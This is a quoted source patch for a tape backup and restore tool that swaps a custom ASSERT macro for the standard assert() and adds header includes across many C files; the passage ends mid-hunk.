inventory/inv_idx.c | 11 +- > inventory/inv_mgr.c | 7 +- > inventory/inv_oref.c | 51 +++---- > inventory/inv_oref.h | 24 +-- > inventory/inv_stobj.c | 23 +-- > inventory/testmain.c | 25 ++-- > librmt/rmtioctl.c | 1 + > restore/bag.c | 19 +-- > restore/content.c | 309 +++++++++++++++++++------------------- > restore/dirattr.c | 113 +++++++------- > restore/inomap.c | 25 ++-- > restore/namreg.c | 39 ++--- > restore/node.c | 79 +++++----- > restore/tree.c | 219 +++++++++++++-------------- > restore/win.c | 65 ++++---- > 45 files changed, 1362 insertions(+), 1319 deletions(-) > > diff --git a/common/arch_xlate.c b/common/arch_xlate.c > index bafc1a6..e6f897e 100644 > --- a/common/arch_xlate.c > +++ b/common/arch_xlate.c > @@ -18,6 +18,7 @@ > > #include > #include > +#include > > #include "arch_xlate.h" > #include "types.h" > diff --git a/common/cldmgr.c b/common/cldmgr.c > index be7de34..df33a3f 100644 > --- a/common/cldmgr.c > +++ b/common/cldmgr.c > @@ -25,6 +25,7 @@ > #include > #include > #include > +#include > > #include "exit.h" > #include "types.h" > @@ -79,7 +80,7 @@ cldmgr_create( int ( * entry )( void *arg1 ), > cld_t *cldp; > intgen_t rval; > > - ASSERT( pthread_equal( pthread_self( ), cldmgr_parenttid ) ); > + assert( pthread_equal( pthread_self( ), cldmgr_parenttid ) ); > > cldp = cldmgr_getcld( ); > if ( ! cldp ) { > diff --git a/common/cleanup.c b/common/cleanup.c > index 42e8750..523f164 100644 > --- a/common/cleanup.c > +++ b/common/cleanup.c > @@ -17,6 +17,7 @@ > */ > > #include > +#include > > #include "cleanup.h" > > @@ -51,7 +52,7 @@ cleanup_register_base( void ( * funcp )( void *arg1, void *arg2 ), > cu_t *p; > > p = ( cu_t * )calloc( 1, sizeof( cu_t )); > - ASSERT( p ); > + assert( p ); > p->cu_funcp = funcp; > p->cu_arg1 = arg1; > p->cu_arg2 = arg2; > @@ -94,7 +95,7 @@ cleanup_cancel( cleanup_t *cleanupp ) > cu_t *nextp; > cu_t *prevp; > > - ASSERT( cu_rootp ); > + assert( cu_rootp ); > > for ( prevp = 0, nextp = cu_rootp > ; > @@ -103,7 +104,7 @@ cleanup_cancel( cleanup_t *cleanupp ) > prevp = nextp, nextp = nextp->cu_nextp ) > ; > > - ASSERT( nextp ); > + assert( nextp ); > if ( prevp ) { > prevp->cu_nextp = p->cu_nextp; > } else { > diff --git a/common/content_common.c b/common/content_common.c > index 993ddae..65be31f 100644 > --- a/common/content_common.c > +++ b/common/content_common.c > @@ -24,6 +24,7 @@ > #include > #include > #include > +#include > > #include "types.h" > #include "util.h" > @@ -66,7 +67,7 @@ retry: > preamblestr[ preamblecnt++ ] = "\n"; > preamblestr[ preamblecnt++ ] = fold; > preamblestr[ preamblecnt++ ] = "\n\n"; > - ASSERT( preamblecnt <= PREAMBLEMAX ); > + assert( preamblecnt <= PREAMBLEMAX ); > dlog_begin( preamblestr, preamblecnt ); > > /* query: ask if media changed or declined > @@ -77,13 +78,13 @@ retry: > (unsigned int)drivep->d_index ); > querycnt = 0; > querystr[ querycnt++ ] = question; > - ASSERT( querycnt <= QUERYMAX ); > + assert( querycnt <= QUERYMAX ); > choicecnt = 0; > dontix = choicecnt; > choicestr[ choicecnt++ ] = _("media change declined"); > doix = choicecnt; > choicestr[ choicecnt++ ] = _("media changed"); > - ASSERT( choicecnt <= CHOICEMAX ); > + assert( choicecnt <= CHOICEMAX ); > sigintix = IXMAX - 1; > > responseix = dlog_multi_query( querystr, > @@ -105,11 +106,11 @@ retry: > } else if ( responseix == dontix ) { > ackstr[ ackcnt++ ] = _("media change aborted\n"); > } else { > - ASSERT( responseix == sigintix ); > + assert( responseix == sigintix ); > ackstr[ ackcnt++ ] = _("keyboard interrupt\n"); > } > > - ASSERT( ackcnt <= ACKMAX ); > + assert( ackcnt <= ACKMAX ); > dlog_multi_ack( ackstr, > ackcnt ); > > @@ -118,7 +119,7 @@ retry: > postamblestr[ postamblecnt++ ] = "\n"; > postamblestr[ postamblecnt++ ] = fold; > postamblestr[ postamblecnt++ ] = "\n\n"; > - ASSERT( postamblecnt <= POSTAMBLEMAX ); > + assert( postamblecnt <= POSTAMBLEMAX ); > dlog_end( postamblestr, > postamblecnt ); > > diff --git a/common/content_inode.h b/common/content_inode.h > index 8f0390c..9013ca4 100644 > --- a/common/content_inode.h > +++ b/common/content_inode.h > @@ -389,7 +389,7 @@ calc_checksum(void *bufp, size_t len) > u_int32_t sum = 0; > u_int32_t *sump = bufp; > u_int32_t *endp = sump + len / sizeof(u_int32_t); > - ASSERT(len % sizeof(u_int32_t) == 0); > + assert(len % sizeof(u_int32_t) == 0); > while (sump < endp) > sum += *sump++; > return ~sum + 1; > @@ -401,7 +401,7 @@ is_checksum_valid(void *bufp, size_t len) > u_int32_t sum = 0; > u_int32_t *sump = bufp; > u_int32_t *endp = sump + len / sizeof(u_int32_t); > - ASSERT(len % sizeof(u_int32_t) == 0); > + assert(len % sizeof(u_int32_t) == 0); > while (sump < endp) > sum += *sump++; > return sum == 0 ? BOOL_TRUE : BOOL_FALSE; > diff --git a/common/dlog.c b/common/dlog.c > index ac0cafc..6220cfe 100644 > --- a/common/dlog.c > +++ b/common/dlog.c > @@ -26,6 +26,7 @@ > #include > #include > #include > +#include > > #include "types.h" > #include "mlog.h" > @@ -57,7 +58,7 @@ dlog_init( int argc, char *argv[ ] ) > > /* can only call once > */ > - ASSERT( dlog_ttyfd == -1 ); > + assert( dlog_ttyfd == -1 ); > > /* initially allow dialog, use stdin fd > */ > @@ -104,7 +105,7 @@ dlog_init( int argc, char *argv[ ] ) > struct stat statbuf; > int rval; > > - ASSERT( dlog_ttyfd >= 0 ); > + assert( dlog_ttyfd >= 0 ); > rval = fstat( dlog_ttyfd, &statbuf ); > if ( rval ) { > mlog( MLOG_VERBOSE | MLOG_WARNING, > @@ -186,7 +187,7 @@ dlog_multi_query( char *querystr[ ], > > /* sanity > */ > - ASSERT( dlog_allowed_flag ); > + assert( dlog_allowed_flag ); > > /* display query description strings > */ > @@ -295,7 +296,7 @@ dlog_string_query( dlog_ucbp_t ucb, /* user's print func */ > > /* sanity > */ > - ASSERT( dlog_allowed_flag ); > + assert( dlog_allowed_flag ); > > /* call the caller's callback with his context, print context, and > * print operator > @@ -359,7 +360,7 @@ dlog_string_query_print( void *ctxp, char *fmt, ... ) > { > va_list args; > > - ASSERT( ! ctxp ); > + assert( ! ctxp ); > > va_start( args, fmt ); > mlog_va( MLOG_NORMAL | MLOG_NOLOCK | MLOG_BARE, fmt, args ); > @@ -510,7 +511,7 @@ promptinput( char *buf, > } > return BOOL_FALSE; > } else { > - ASSERT( dlog_signo_received == -1 ); > + assert( dlog_signo_received == -1 ); > *exceptionixp = 0; > return BOOL_TRUE; > } > diff --git a/common/drive.c b/common/drive.c > index 32a7191..f9ba851 100644 > --- a/common/drive.c > +++ b/common/drive.c > @@ -21,6 +21,7 @@ > > #include > #include > +#include > > #include "types.h" > #include "util.h" > @@ -88,7 +89,7 @@ drive_init1( int argc, char *argv[ ] ) > > /* sanity check asserts > */ > - ASSERT( sizeof( drive_hdr_t ) == DRIVE_HDR_SZ ); > + assert( sizeof( drive_hdr_t ) == DRIVE_HDR_SZ ); > > /* count drive arguments > */ > @@ -107,7 +108,7 @@ drive_init1( int argc, char *argv[ ] ) > */ > if (drivecnt > 0) { > drivepp = ( drive_t ** )calloc( drivecnt, sizeof( drive_t * )); > - ASSERT( drivepp ); > + assert( drivepp ); > } > > /* initialize the partialmax value. Each drive can be completing a file > @@ -142,7 +143,7 @@ drive_init1( int argc, char *argv[ ] ) > break; > } > } > - ASSERT( driveix == drivecnt ); > + assert( driveix == drivecnt ); > > /* the user may specify stdin as the source, by > * a single dash ('-') with no option letter. This must appear > @@ -169,7 +170,7 @@ drive_init1( int argc, char *argv[ ] ) > * allocate an array to hold ptrs to drive descriptors > */ > drivepp = ( drive_t ** )calloc( drivecnt, sizeof( drive_t * )); > - ASSERT( drivepp ); > + assert( drivepp ); > > drivepp[ 0 ] = drive_alloc( "stdio", 0 ); > > @@ -215,7 +216,7 @@ drive_init1( int argc, char *argv[ ] ) > bestscore = score; > } > } > - ASSERT( bestsp ); > + assert( bestsp ); > drivep->d_strategyp = bestsp; > drivep->d_recmarksep = bestsp->ds_recmarksep; > drivep->d_recmfilesz = bestsp->ds_recmfilesz; > @@ -356,7 +357,7 @@ drive_alloc( char *pathname, ix_t driveix ) > /* allocate the descriptor > */ > drivep = ( drive_t * )calloc( 1, sizeof( drive_t )); > - ASSERT( drivep ); > + assert( drivep ); > > /* convert the pathname to an absolute pathname > * NOTE: string "stdio" is reserved to mean send to standard out > @@ -397,7 +398,7 @@ drive_allochdrs( drive_t *drivep, global_hdr_t *gwhdrtemplatep, ix_t driveix ) > /* allocate the read header > */ > grhdrp = ( global_hdr_t * )calloc( 1, sizeof( global_hdr_t )); > - ASSERT( grhdrp ); > + assert( grhdrp ); > gwhdrp = NULL; > dwhdrp = NULL; > > @@ -411,7 +412,7 @@ drive_allochdrs( drive_t *drivep, global_hdr_t *gwhdrtemplatep, ix_t driveix ) > /* allocate the write header > */ > gwhdrp = ( global_hdr_t * )calloc( 1, sizeof( global_hdr_t )); > - ASSERT( gwhdrp ); > + assert( gwhdrp ); > > /* copy the template > */ > diff --git a/common/drive_minrmt.c b/common/drive_minrmt.c > index 8c57699..6d58f1f 100644 > --- a/common/drive_minrmt.c > +++ b/common/drive_minrmt.c > @@ -29,6 +29,7 @@ > #include > #include > #include > +#include > > #include "types.h" > #include "util.h" > @@ -471,11 +472,11 @@ ds_instantiate( int argc, char *argv[], drive_t *drivep ) > > /* opportunity for sanity checking > */ > - ASSERT( sizeof( global_hdr_t ) <= STAPE_HDR_SZ ); > - ASSERT( sizeof( rec_hdr_t ) > + assert( sizeof( global_hdr_t ) <= STAPE_HDR_SZ ); > + assert( sizeof( rec_hdr_t ) > == > sizeofmember( drive_hdr_t, dh_specific )); > - ASSERT( ! ( STAPE_MAX_RECSZ % PGSZ )); > + assert( ! ( STAPE_MAX_RECSZ % PGSZ )); > > /* hook up the drive ops > */ > @@ -484,7 +485,7 @@ ds_instantiate( int argc, char *argv[], drive_t *drivep ) > /* allocate context for the drive manager > */ > contextp = ( drive_context_t * )calloc( 1, sizeof( drive_context_t )); > - ASSERT( contextp ); > + assert( contextp ); > memset( ( void * )contextp, 0, sizeof( *contextp )); > > /* do not enable a separate I/O thread, > @@ -583,7 +584,7 @@ ds_instantiate( int argc, char *argv[], drive_t *drivep ) > */ > if ( contextp->dc_singlethreadedpr ) { > contextp->dc_bufp = ( char * )memalign( PGSZ, STAPE_MAX_RECSZ ); > - ASSERT( contextp->dc_bufp ); > + assert( contextp->dc_bufp ); > } else { > intgen_t rval; > mlog( (MLOG_NITTY + 1) | MLOG_DRIVE, > @@ -611,7 +612,7 @@ ds_instantiate( int argc, char *argv[], drive_t *drivep ) > _("not allowed " > "to pin down I/O buffer ring\n") ); > } else { > - ASSERT( 0 ); > + assert( 0 ); > } > return BOOL_FALSE; > } > @@ -721,18 +722,18 @@ do_begin_read( drive_t *drivep ) > > /* verify protocol being followed > */ > - ASSERT( drivep->d_capabilities & DRIVE_CAP_READ ); > - ASSERT( contextp->dc_mode == OM_NONE ); > - ASSERT( ! contextp->dc_recp ); > + assert( drivep->d_capabilities & DRIVE_CAP_READ ); > + assert( contextp->dc_mode == OM_NONE ); > + assert( ! contextp->dc_recp ); > > /* get a record buffer to use during initialization. > */ > if ( contextp->dc_singlethreadedpr ) { > contextp->dc_recp = contextp->dc_bufp; > } else { > - ASSERT( contextp->dc_ringp ); > + assert( contextp->dc_ringp ); > contextp->dc_msgp = Ring_get( contextp->dc_ringp ); > - ASSERT( contextp->dc_msgp->rm_stat == RING_STAT_INIT ); > + assert( contextp->dc_msgp->rm_stat == RING_STAT_INIT ); > contextp->dc_recp = contextp->dc_msgp->rm_bufp; > } > > @@ -742,7 +743,7 @@ do_begin_read( drive_t *drivep ) > */ > contextp->dc_iocnt = 0; > if ( contextp->dc_fd < 0 ) { > - ASSERT( contextp->dc_fd == -1 ); > + assert( contextp->dc_fd == -1 ); > rval = prepare_drive( drivep ); > if ( rval ) { > if ( ! contextp->dc_singlethreadedpr ) { > @@ -763,7 +764,7 @@ do_begin_read( drive_t *drivep ) > return rval; > } > } > - ASSERT( contextp->dc_iocnt == 1 ); > + assert( contextp->dc_iocnt == 1 ); > /* set by prepare_drive or read_label */ > > /* all is well. adjust context. don't kick off read-aheads just yet; > @@ -824,10 +825,10 @@ do_read( drive_t *drivep, > > /* assert protocol being followed > */ > - ASSERT( contextp->dc_mode == OM_READ ); > - ASSERT( ! contextp->dc_errorpr ); > - ASSERT( ! contextp->dc_ownedp ); > - ASSERT( wantedcnt > 0 ); > + assert( contextp->dc_mode == OM_READ ); > + assert( ! contextp->dc_errorpr ); > + assert( ! contextp->dc_ownedp ); > + assert( wantedcnt > 0 ); > > /* clear the return status field > */ > @@ -853,7 +854,7 @@ do_read( drive_t *drivep, > */ > contextp->dc_ownedp = contextp->dc_nextp; > contextp->dc_nextp += actualcnt; > - ASSERT( contextp->dc_nextp <= contextp->dc_dataendp ); > + assert( contextp->dc_nextp <= contextp->dc_dataendp ); > > mlog( MLOG_NITTY | MLOG_DRIVE, > "rmt drive op read actual == %d (0x%x)\n", > @@ -886,16 +887,16 @@ do_return_read_buf( drive_t *drivep, char *bufp, size_t retcnt ) > > /* assert protocol being followed > */ > - ASSERT( contextp->dc_mode == OM_READ ); > - ASSERT( ! contextp->dc_errorpr ); > - ASSERT( contextp->dc_ownedp ); > - ASSERT( bufp == contextp->dc_ownedp ); > + assert( contextp->dc_mode == OM_READ ); > + assert( ! contextp->dc_errorpr ); > + assert( contextp->dc_ownedp ); > + assert( bufp == contextp->dc_ownedp ); > > /* calculate how much the caller owns > */ > - ASSERT( contextp->dc_nextp >= contextp->dc_ownedp ); > + assert( contextp->dc_nextp >= contextp->dc_ownedp ); > ownedcnt = ( size_t )( contextp->dc_nextp - contextp->dc_ownedp ); > - ASSERT( ownedcnt == retcnt ); > + assert( ownedcnt == retcnt ); > > /* take possession of buffer portion > */ > @@ -905,7 +906,7 @@ do_return_read_buf( drive_t *drivep, char *bufp, size_t retcnt ) > * and (if ring in use) give buffer to ring for read-ahead. > */ > if ( contextp->dc_nextp >= contextp->dc_dataendp ) { > - ASSERT( contextp->dc_nextp == contextp->dc_dataendp ); > + assert( contextp->dc_nextp == contextp->dc_dataendp ); > if ( ! contextp->dc_singlethreadedpr ) { > contextp->dc_msgp->rm_op = RING_OP_READ; > Ring_put( contextp->dc_ringp, contextp->dc_msgp ); > @@ -936,9 +937,9 @@ do_get_mark( drive_t *drivep, drive_mark_t *markp ) > > /* assert protocol being followed > */ > - ASSERT( contextp->dc_mode == OM_READ ); > - ASSERT( ! contextp->dc_errorpr ); > - ASSERT( ! contextp->dc_ownedp ); > + assert( contextp->dc_mode == OM_READ ); > + assert( ! contextp->dc_errorpr ); > + assert( ! contextp->dc_ownedp ); > > /* the mark is simply the offset into the media file of the > * next byte to be read. > @@ -977,9 +978,9 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > > /* assert protocol being followed > */ > - ASSERT( contextp->dc_mode == OM_READ ); > - ASSERT( ! contextp->dc_errorpr ); > - ASSERT( ! contextp->dc_ownedp ); > + assert( contextp->dc_mode == OM_READ ); > + assert( ! contextp->dc_errorpr ); > + assert( ! contextp->dc_ownedp ); > > > /* the desired mark is passed by reference, and is really just an > @@ -1002,18 +1003,18 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > rec_hdr_t *rechdrp = ( rec_hdr_t * )contextp->dc_recp; > #endif > > - ASSERT( contextp->dc_nextp >= contextp->dc_recp ); > + assert( contextp->dc_nextp >= contextp->dc_recp ); > recoff = ( u_int32_t )( contextp->dc_nextp > - > contextp->dc_recp ); > - ASSERT( recoff <= tape_recsz ); > - ASSERT( rechdrp->rec_used <= tape_recsz ); > - ASSERT( recoff >= STAPE_HDR_SZ ); > - ASSERT( rechdrp->rec_used >= STAPE_HDR_SZ ); > - ASSERT( recoff <= rechdrp->rec_used ); > + assert( recoff <= tape_recsz ); > + assert( rechdrp->rec_used <= tape_recsz ); > + assert( recoff >= STAPE_HDR_SZ ); > + assert( rechdrp->rec_used >= STAPE_HDR_SZ ); > + assert( recoff <= rechdrp->rec_used ); > currentoffset += ( off64_t )recoff; > } > - ASSERT( wantedoffset >= currentoffset ); > + assert( wantedoffset >= currentoffset ); > > /* if we are currently holding a record and the desired offset > * is not within the current record, eat the current record. > @@ -1036,12 +1037,12 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > * must be just after it. > */ > if ( rechdrp->rec_used < tape_recsz ) { > - ASSERT( wantedoffset == nextrecoffset ); > + assert( wantedoffset == nextrecoffset ); > } > > /* figure how much to ask for > */ > - ASSERT( contextp->dc_nextp >= contextp->dc_recp ); > + assert( contextp->dc_nextp >= contextp->dc_recp ); > recoff = ( u_int32_t )( contextp->dc_nextp > - > contextp->dc_recp ); > @@ -1059,13 +1060,13 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > if ( rval ) { > return rval; > } > - ASSERT( actualcnt == wantedcnt ); > + assert( actualcnt == wantedcnt ); > do_return_read_buf( drivep, dummybufp, actualcnt ); > currentoffset += ( off64_t )actualcnt; > - ASSERT( currentoffset == nextrecoffset ); > - ASSERT( wantedoffset >= currentoffset ); > - ASSERT( ! contextp->dc_recp ); > - ASSERT( currentoffset > + assert( currentoffset == nextrecoffset ); > + assert( wantedoffset >= currentoffset ); > + assert( ! contextp->dc_recp ); > + assert( currentoffset > == > contextp->dc_reccnt * ( off64_t )tape_recsz ); > } > @@ -1084,14 +1085,14 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > off64_t wantedreccnt; > seekmode_t seekmode; > > - ASSERT( ! contextp->dc_recp ); > + assert( ! contextp->dc_recp ); > wantedreccnt = wantedoffset / ( off64_t )tape_recsz; > if ( contextp->dc_singlethreadedpr ) { > seekmode = SEEKMODE_RAW; > } else { > seekmode = SEEKMODE_BUF; > } > - ASSERT( wantedreccnt != 0 ); /* so NOP below can be > + assert( wantedreccnt != 0 ); /* so NOP below can be > * distinguished from use > * in do_begin_read > */ > @@ -1101,7 +1102,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > > if ( seekmode == SEEKMODE_BUF ) { > ring_stat_t rs; > - ASSERT( ! contextp->dc_msgp ); > + assert( ! contextp->dc_msgp ); > contextp->dc_msgp = > Ring_get( contextp->dc_ringp ); > rs = contextp->dc_msgp->rm_stat; > @@ -1114,7 +1115,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > rs != RING_STAT_INIT > && > rs != RING_STAT_NOPACK ) { > - ASSERT( 0 ); > + assert( 0 ); > contextp->dc_errorpr = BOOL_TRUE; > return DRIVE_ERROR_CORE; > } > @@ -1136,8 +1137,8 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > continue; > } > > - ASSERT( contextp->dc_reccnt == contextp->dc_iocnt ); > - ASSERT( wantedreccnt > contextp->dc_reccnt ); > + assert( contextp->dc_reccnt == contextp->dc_iocnt ); > + assert( wantedreccnt > contextp->dc_reccnt ); > recskipcnt64 = wantedreccnt - contextp->dc_reccnt; > recskipcnt64remaining = recskipcnt64; > while ( recskipcnt64remaining ) { > @@ -1145,14 +1146,14 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > intgen_t saved_errno; > intgen_t rval; > > - ASSERT( recskipcnt64remaining > 0 ); > + assert( recskipcnt64remaining > 0 ); > if ( recskipcnt64remaining > INTGENMAX ) { > recskipcnt = INTGENMAX; > } else { > recskipcnt = ( intgen_t ) > recskipcnt64remaining; > } > - ASSERT( recskipcnt > 0 ); > + assert( recskipcnt > 0 ); > rval = mt_op( contextp->dc_fd, > MTFSR, > recskipcnt ); > @@ -1174,8 +1175,8 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > currentoffset = contextp->dc_reccnt > * > ( off64_t )tape_recsz; > - ASSERT( wantedoffset >= currentoffset ); > - ASSERT( wantedoffset - currentoffset > + assert( wantedoffset >= currentoffset ); > + assert( wantedoffset - currentoffset > < > ( off64_t )tape_recsz ); > } > @@ -1190,7 +1191,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > size_t actualcnt; > intgen_t rval; > > - ASSERT( ! contextp->dc_recp ); > + assert( ! contextp->dc_recp ); > > /* figure how much to ask for. to eat an entire record, > * ask for a record sans the header. do_read will eat > @@ -1205,11 +1206,11 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > if ( rval ) { > return rval; > } > - ASSERT( actualcnt == wantedcnt ); > + assert( actualcnt == wantedcnt ); > do_return_read_buf( drivep, dummybufp, actualcnt ); > - ASSERT( ! contextp->dc_recp ); > + assert( ! contextp->dc_recp ); > currentoffset += ( off64_t )tape_recsz; > - ASSERT( currentoffset > + assert( currentoffset > == > contextp->dc_reccnt * ( off64_t )tape_recsz ); > } > @@ -1222,8 +1223,8 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > char *dummybufp; > size_t actualcnt; > > - ASSERT( wantedoffset > currentoffset ); > - ASSERT( wantedoffset - currentoffset < ( off64_t )tape_recsz ); > + assert( wantedoffset > currentoffset ); > + assert( wantedoffset - currentoffset < ( off64_t )tape_recsz ); > wantedcnt = ( size_t )( wantedoffset - currentoffset ); > if ( contextp->dc_recp ) { > u_int32_t recoff; > @@ -1233,14 +1234,14 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > recoff = ( u_int32_t )( contextp->dc_nextp > - > contextp->dc_recp ); > - ASSERT( recoff <= tape_recsz ); > - ASSERT( rechdrp->rec_used <= tape_recsz ); > - ASSERT( recoff >= STAPE_HDR_SZ ); > - ASSERT( rechdrp->rec_used >= STAPE_HDR_SZ ); > - ASSERT( recoff <= rechdrp->rec_used ); > - ASSERT( recoff + wantedcnt <= rechdrp->rec_used ); > + assert( recoff <= tape_recsz ); > + assert( rechdrp->rec_used <= tape_recsz ); > + assert( recoff >= STAPE_HDR_SZ ); > + assert( rechdrp->rec_used >= STAPE_HDR_SZ ); > + assert( recoff <= rechdrp->rec_used ); > + assert( recoff + wantedcnt <= rechdrp->rec_used ); > } else { > - ASSERT( wantedcnt >= STAPE_HDR_SZ ); > + assert( wantedcnt >= STAPE_HDR_SZ ); > wantedcnt -= STAPE_HDR_SZ; > } > > @@ -1253,7 +1254,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > if ( rval ) { > return rval; > } > - ASSERT( actualcnt == wantedcnt ); > + assert( actualcnt == wantedcnt ); > do_return_read_buf( drivep, dummybufp, actualcnt ); > } > } > @@ -1268,18 +1269,18 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > rec_hdr_t *rechdrp = ( rec_hdr_t * )contextp->dc_recp; > #endif > > - ASSERT( contextp->dc_nextp >= contextp->dc_recp ); > + assert( contextp->dc_nextp >= contextp->dc_recp ); > recoff = ( u_int32_t )( contextp->dc_nextp > - > contextp->dc_recp ); > - ASSERT( recoff <= tape_recsz ); > - ASSERT( rechdrp->rec_used <= tape_recsz ); > - ASSERT( recoff >= STAPE_HDR_SZ ); > - ASSERT( rechdrp->rec_used >= STAPE_HDR_SZ ); > - ASSERT( recoff <= rechdrp->rec_used ); > + assert( recoff <= tape_recsz ); > + assert( rechdrp->rec_used <= tape_recsz ); > + assert( recoff >= STAPE_HDR_SZ ); > + assert( rechdrp->rec_used >= STAPE_HDR_SZ ); > + assert( recoff <= rechdrp->rec_used ); > currentoffset += ( off64_t )recoff; > } > - ASSERT( wantedoffset == currentoffset ); > + assert( wantedoffset == currentoffset ); > > return 0; > } > @@ -1310,9 +1311,9 @@ do_next_mark( drive_t *drivep ) > > /* assert protocol being followed. > */ > - ASSERT( contextp->dc_mode == OM_READ ); > - ASSERT( ! contextp->dc_errorpr ); > - ASSERT( ! contextp->dc_ownedp ); > + assert( contextp->dc_mode == OM_READ ); > + assert( ! contextp->dc_errorpr ); > + assert( ! contextp->dc_ownedp ); > > mlog( MLOG_DEBUG | MLOG_DRIVE, > "rmt drive op: next mark\n" ); > @@ -1335,7 +1336,7 @@ noerrorsearch: > } > rechdrp = ( rec_hdr_t * )contextp->dc_recp; > > - ASSERT( rechdrp->first_mark_offset != 0 ); > + assert( rechdrp->first_mark_offset != 0 ); > if ( rechdrp->first_mark_offset > 0 ) { > off64_t markoff = rechdrp->first_mark_offset > - > @@ -1343,8 +1344,8 @@ noerrorsearch: > off64_t curoff = ( off64_t )( contextp->dc_nextp > - > contextp->dc_recp ); > - ASSERT( markoff > 0 ); > - ASSERT( curoff > 0 ); > + assert( markoff > 0 ); > + assert( curoff > 0 ); > if ( markoff >= curoff ) { > break; > } > @@ -1359,7 +1360,7 @@ noerrorsearch: > contextp->dc_reccnt++; > } > > - ASSERT( rechdrp->first_mark_offset - rechdrp->file_offset > + assert( rechdrp->first_mark_offset - rechdrp->file_offset > <= > ( off64_t )tape_recsz ); > contextp->dc_nextp = contextp->dc_recp > @@ -1367,8 +1368,8 @@ noerrorsearch: > ( size_t )( rechdrp->first_mark_offset > - > rechdrp->file_offset ); > - ASSERT( contextp->dc_nextp <= contextp->dc_dataendp ); > - ASSERT( contextp->dc_nextp >= contextp->dc_recp + STAPE_HDR_SZ ); > + assert( contextp->dc_nextp <= contextp->dc_dataendp ); > + assert( contextp->dc_nextp >= contextp->dc_recp + STAPE_HDR_SZ ); > if ( contextp->dc_nextp == contextp->dc_dataendp ) { > if ( ! contextp->dc_singlethreadedpr ) { > Ring_put( contextp->dc_ringp, > @@ -1394,7 +1395,7 @@ resetring: > contextp->dc_recp = contextp->dc_bufp; > } else { > contextp->dc_msgp = Ring_get( contextp->dc_ringp ); > - ASSERT( contextp->dc_msgp->rm_stat == RING_STAT_INIT ); > + assert( contextp->dc_msgp->rm_stat == RING_STAT_INIT ); > contextp->dc_recp = contextp->dc_msgp->rm_bufp; > } > rechdrp = ( rec_hdr_t * )contextp->dc_recp; > @@ -1417,7 +1418,7 @@ validateread: > } > > if ( nread >= 0 ) { > - ASSERT( ( size_t )nread <= tape_recsz ); > + assert( ( size_t )nread <= tape_recsz ); > mlog( MLOG_DEBUG | MLOG_DRIVE, > "short read (nread == %d, record size == %d)\n", > nread, > @@ -1460,24 +1461,24 @@ validatehdr: > goto readrecord; > } > > - ASSERT( ! ( rechdrp->file_offset % ( off64_t )tape_recsz )); > + assert( ! ( rechdrp->file_offset % ( off64_t )tape_recsz )); > markoff = rechdrp->first_mark_offset - rechdrp->file_offset; > - ASSERT( markoff >= ( off64_t )STAPE_HDR_SZ ); > - ASSERT( markoff < ( off64_t )tape_recsz ); > - ASSERT( rechdrp->rec_used > STAPE_HDR_SZ ); > - ASSERT( rechdrp->rec_used < tape_recsz ); > + assert( markoff >= ( off64_t )STAPE_HDR_SZ ); > + assert( markoff < ( off64_t )tape_recsz ); > + assert( rechdrp->rec_used > STAPE_HDR_SZ ); > + assert( rechdrp->rec_used < tape_recsz ); > > goto alliswell; > > alliswell: > contextp->dc_nextp = contextp->dc_recp + ( size_t )markoff; > - ASSERT( ! ( rechdrp->file_offset % ( off64_t )tape_recsz )); > + assert( ! ( rechdrp->file_offset % ( off64_t )tape_recsz )); > contextp->dc_reccnt = rechdrp->file_offset / ( off64_t )tape_recsz; > contextp->dc_iocnt = contextp->dc_reccnt + 1; > contextp->dc_recendp = contextp->dc_recp + tape_recsz; > contextp->dc_dataendp = contextp->dc_recp + rechdrp->rec_used; > - ASSERT( contextp->dc_dataendp <= contextp->dc_recendp ); > - ASSERT( contextp->dc_nextp < contextp->dc_dataendp ); > + assert( contextp->dc_dataendp <= contextp->dc_recendp ); > + assert( contextp->dc_nextp < contextp->dc_dataendp ); > contextp->dc_errorpr = BOOL_FALSE; > > mlog( MLOG_NORMAL | MLOG_DRIVE, > @@ -1553,8 +1554,8 @@ do_end_read( drive_t *drivep ) > > /* assert protocol being followed > */ > - ASSERT( contextp->dc_mode == OM_READ ); > - ASSERT( ! contextp->dc_ownedp ); > + assert( contextp->dc_mode == OM_READ ); > + assert( ! contextp->dc_ownedp ); > > /* In the scsi version, read_label() does a status command to the > * drive to then decide if doing a 'fsf' is appropriate. For minrmt, > @@ -1608,9 +1609,9 @@ do_begin_write( drive_t *drivep ) > > /* verify protocol being followed > */ > - ASSERT( contextp->dc_mode == OM_NONE ); > - ASSERT( ! drivep->d_markrecheadp ); > - ASSERT( ! contextp->dc_recp ); > + assert( contextp->dc_mode == OM_NONE ); > + assert( ! drivep->d_markrecheadp ); > + assert( ! contextp->dc_recp ); > > /* get pointers into global write header > */ > @@ -1621,7 +1622,7 @@ do_begin_write( drive_t *drivep ) > /* must already be open. The only way to open is to do a begin_read. > * so all interaction with tape requires reading first. > */ > - ASSERT( contextp->dc_fd != -1 ); > + assert( contextp->dc_fd != -1 ); > > /* fill in write header's drive specific info > */ > @@ -1637,15 +1638,15 @@ do_begin_write( drive_t *drivep ) > /* get a record buffer. will be used for the media file header, > * and is needed to "prime the pump" for first call to do_write. > */ > - ASSERT( ! contextp->dc_recp ); > + assert( ! contextp->dc_recp ); > if ( contextp->dc_singlethreadedpr ) { > - ASSERT( contextp->dc_bufp ); > + assert( contextp->dc_bufp ); > contextp->dc_recp = contextp->dc_bufp; > } else { > - ASSERT( contextp->dc_ringp ); > - ASSERT( ! contextp->dc_msgp ); > + assert( contextp->dc_ringp ); > + assert( ! contextp->dc_msgp ); > contextp->dc_msgp = Ring_get( contextp->dc_ringp ); > - ASSERT( contextp->dc_msgp->rm_stat == 